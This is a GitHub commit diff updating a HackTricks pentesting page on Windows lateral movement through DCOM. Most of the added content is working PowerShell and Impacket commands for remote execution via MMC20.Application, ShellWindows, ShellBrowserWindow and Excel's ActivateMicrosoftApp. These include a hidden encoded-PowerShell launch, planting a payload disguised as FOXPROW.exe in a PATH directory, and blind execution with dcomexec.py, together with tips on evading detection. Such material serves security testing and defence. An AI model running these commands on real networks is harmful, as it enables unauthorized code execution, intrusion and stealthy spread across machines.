Skip to content

Commit ee65139

Browse files
authored
Merge pull request #2160 from HackTricks-wiki/research_update_src_windows-hardening_lateral-movement_dcomexec_20260423_032514
Research Update Enhanced src/windows-hardening/lateral-movem...
2 parents 53a1106 + e54ec49 commit ee65139

1 file changed

Lines changed: 82 additions & 10 deletions

File tree

src/windows-hardening/lateral-movement/dcomexec.md

Lines changed: 82 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,25 @@
22

33
{{#include ../../banners/hacktricks-training.md}}
44

5+
DCOM lateral movement is attractive because it reuses existing COM servers exposed over RPC/DCOM instead of creating a service or scheduled task. In practice this means the initial connection usually starts on TCP/135 and then moves to dynamically assigned high RPC ports.
6+
7+
## Prerequisites & Gotchas
8+
9+
- You usually need a local administrator context on the target and the remote COM server must allow remote launch/activation.
10+
- Since **March 14, 2023**, Microsoft enforces DCOM hardening for supported systems. Old clients that request a low activation authentication level can fail unless they negotiate at least `RPC_C_AUTHN_LEVEL_PKT_INTEGRITY`. Modern Windows clients are usually auto-raised, so current tooling normally keeps working.
11+
- Manual or scripted DCOM execution generally needs TCP/135 plus the target's dynamic RPC port range. If you are using Impacket's `dcomexec.py` and you want command output back, you usually also need SMB access to `ADMIN$` (or another writable/readable share).
12+
- If RPC/DCOM works but SMB is blocked, `dcomexec.py -nooutput` can still be useful for blind execution.
13+
14+
Quick checks:
15+
16+
```bash
17+
# Enumerate registered DCOM applications
18+
Get-CimInstance Win32_DCOMApplication | Select-Object AppID, Name
19+
20+
# Useful to inspect firewall/RPC issues
21+
Test-NetConnection -ComputerName 10.10.10.10 -Port 135
22+
```
23+
524
## MMC20.Application
625

726
**For more info about this technique chech the original post from [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
@@ -33,13 +52,16 @@ Get RCE:
3352

3453
```bash
3554
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
36-
$com | Get-Member
37-
38-
# Then just run something like:
39-
40-
ls \\10.10.10.10\c$\Users
55+
$com.Document.ActiveView.ExecuteShellCommand(
56+
"cmd.exe",
57+
$null,
58+
"/c powershell -NoP -W Hidden -Enc <B64>",
59+
"7"
60+
)
4161
```
4262

63+
The last argument is the window style. `7` keeps the window minimized. Operationally, MMC-based execution commonly leads to a remote `mmc.exe` process spawning your payload, which is different from the Explorer-backed objects below.
64+
4365
## ShellWindows & ShellBrowserWindow
4466

4567
**For more info about this technique check the original post [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
@@ -48,6 +70,8 @@ The **MMC20.Application** object was identified to lack explicit "LaunchPermissi
4870

4971
Two specific objects, `ShellBrowserWindow` and `ShellWindows`, were highlighted due to their lack of explicit Launch Permissions. The absence of a `LaunchPermission` registry entry under `HKCR:\AppID\{guid}` signifies no explicit permissions.
5072

73+
Compared with `MMC20.Application`, these objects are often quieter from an OPSEC perspective because the command commonly ends up as a child of `explorer.exe` on the remote host instead of `mmc.exe`.
74+
5175
### ShellWindows
5276

5377
For `ShellWindows`, which lacks a ProgID, the .NET methods `Type.GetTypeFromCLSID` and `Activator.CreateInstance` facilitate object instantiation using its AppID. This process leverages OleView .NET to retrieve the CLSID for `ShellWindows`. Once instantiated, interaction is possible through the `WindowsShell.Item` method, leading to method invocation like `Document.Application.ShellExecute`.
@@ -60,10 +84,22 @@ $com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
6084
$obj = [System.Activator]::CreateInstance($com)
6185
$item = $obj.Item()
6286
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
87+
```
6388

64-
# Need to upload the file to execute
65-
$COM = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.APPLICATION", "192.168.52.100"))
66-
$COM.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe", $Null, $Null, "7")
89+
### ShellBrowserWindow
90+
91+
`ShellBrowserWindow` is similar, but you can instantiate it directly via its CLSID and pivot to `Document.Application.ShellExecute`:
92+
93+
```bash
94+
$com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880", "10.10.10.10")
95+
$obj = [System.Activator]::CreateInstance($com)
96+
$obj.Document.Application.ShellExecute(
97+
"cmd.exe",
98+
"/c whoami > C:\\Windows\\Temp\\dcom.txt",
99+
"C:\\Windows\\System32",
100+
$null,
101+
0
102+
)
67103
```
68104

69105
### Lateral Movement with Excel DCOM Objects
@@ -95,6 +131,35 @@ elseif ($Method -Match "ExcelDDE") {
95131
}
96132
```
97133

134+
Recent research expanded this area with `Excel.Application`'s `ActivateMicrosoftApp()` method. The key idea is that Excel can try to launch legacy Microsoft applications such as FoxPro, Schedule Plus, or Project by searching the system `PATH`. If an operator can place a payload with one of those expected names in a writable location that is part of the target's `PATH`, Excel will execute it.
135+
136+
Requirements for this variation:
137+
138+
- Local admin on the target
139+
- Excel installed on the target
140+
- Ability to write a payload to a writable directory in the target's `PATH`
141+
142+
Practical example abusing the FoxPro lookup (`FOXPROW.exe`):
143+
144+
```bash
145+
copy C:\Windows\System32\calc.exe \\192.168.52.100\c$\Users\victim\AppData\Local\Microsoft\WindowsApps\FOXPROW.exe
146+
$com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "192.168.52.100"))
147+
$com.ActivateMicrosoftApp("5")
148+
```
149+
150+
If the attacking host does not have the local `Excel.Application` ProgID registered, instantiate the remote object by CLSID instead:
151+
152+
```bash
153+
$com = [System.Activator]::CreateInstance([type]::GetTypeFromCLSID("00020812-0000-0000-C000-000000000046", "192.168.52.100"))
154+
$com.Application.ActivateMicrosoftApp("5")
155+
```
156+
157+
Values seen abused in practice:
158+
159+
- `5` -> `FOXPROW.exe`
160+
- `6` -> `WINPROJ.exe`
161+
- `7` -> `SCHDPLUS.exe`
162+
98163
### Automation Tools for Lateral Movement
99164

100165
Two tools are highlighted for automating these techniques:
@@ -116,10 +181,16 @@ SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\tem
116181
## Automatic Tools
117182
118183
- The Powershell script [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1) allows to easily invoke all the commented ways to execute code in other machines.
119-
- You can use Impacket's `dcomexec.py` to execute commands on remote systems using DCOM.
184+
- You can use Impacket's `dcomexec.py` to execute commands on remote systems using DCOM. Current builds support `ShellWindows`, `ShellBrowserWindow`, and `MMC20`, and default to `ShellWindows`.
120185
121186
```bash
122187
dcomexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' "cmd.exe /c whoami"
188+
189+
# Pick the object explicitly
190+
dcomexec.py -object MMC20 'DOMAIN'/'USER':'PASSWORD'@'target_ip' "cmd.exe /c whoami"
191+
192+
# Blind execution when SMB/output retrieval is not available
193+
dcomexec.py -object ShellBrowserWindow -nooutput 'DOMAIN'/'USER':'PASSWORD'@'target_ip' "cmd.exe /c calc.exe"
123194
```
124195
125196
- You could also use [**SharpLateral**](https://github.com/mertdas/SharpLateral):
@@ -138,8 +209,9 @@ SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\tem
138209
139210
- [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
140211
- [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
212+
- [https://support.microsoft.com/en-us/topic/kb5004442-manage-changes-for-windows-dcom-server-security-feature-bypass-cve-2021-26414-f1400b52-c141-43d2-941e-37ed901c769c](https://support.microsoft.com/en-us/topic/kb5004442-manage-changes-for-windows-dcom-server-security-feature-bypass-cve-2021-26414-f1400b52-c141-43d2-941e-37ed901c769c)
213+
- [https://specterops.io/blog/2023/10/30/lateral-movement-abuse-the-power-of-dcom-excel-application/](https://specterops.io/blog/2023/10/30/lateral-movement-abuse-the-power-of-dcom-excel-application/)
141214
142215
{{#include ../../banners/hacktricks-training.md}}
143216
144217
145-

0 commit comments

Comments
 (0)